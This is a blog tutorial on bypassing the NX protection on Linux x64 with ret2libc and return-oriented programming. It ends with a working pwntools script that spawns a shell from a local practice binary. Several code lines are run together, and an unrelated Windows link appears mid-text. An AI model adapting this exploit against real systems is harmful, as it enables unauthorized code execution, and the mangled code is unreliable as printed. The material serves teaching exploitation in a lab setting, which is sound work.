Linux x64 NX Bypass (ret2libc + ROP)

Hey Squad,

Hey Squad,

This blog is about bypassing NX. We will be using pwn tools to do it.

Let’s start….


Overflow the stack

Let’s start with using checksec to find the enabled protections.

only, NX is enabled. We need to find the buffer length to overflow.

The offset to overwrite rip is 104 (96 + 8)

Exploit

Now, time to start with pwntools.

A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.

Our goal is to get a shell. Since NX is enabled, we cannot execute data on the stack. So we have to use a different technique called return oriented programming (rop). Our library does not have the function system but the linked C standard library does. Making use of the loaded libc library in memory, we redirect the control flow to call this function:

  • system("/bin/sh")

Instead of putting shellcode on to the stack, we put pointers and function arguments. Those pointers help us to put the function argument (“/bin/sh”) into the proper register and finally call the system function.

In 64-bit binaries, function parameters are passed in registers. RDI, RSI, RDX, RCX, R8 and R9 hold the first six parameters. Any further parameter is passed on the stack. Before returning to an interesting function, 64-bit binaries require that the respective function parameters are loaded in the aforementioned registers.

source: http://www.installsetupconfig.com/win32programming/processtoolhelpapis12_1.html

The final code for exploit.from pwn import *elf = ELF('./bypass_nx')
rop = ROP(elf)
io = process('./bypass_nx')
libc = elf.libc
libc.address = 0x7ffff7dc0000pop_rdi = p64((rop.find_gadget(['pop rdi', 'ret']))[0])
ret = p64((rop.find_gadget(['ret']))[0])
binsh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.sym['system'])payload = b'A'*104 + pop_rdi + binsh + ret + systemio.sendline(payload)
io.interactive()

Shell


Please give a clap if you found it to be useful and follow me to get more hacking knowledge.

Resources

  1. https://stacklikemind.io/ret2libc-aslr
  2. https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08
  3. https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
  4. https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template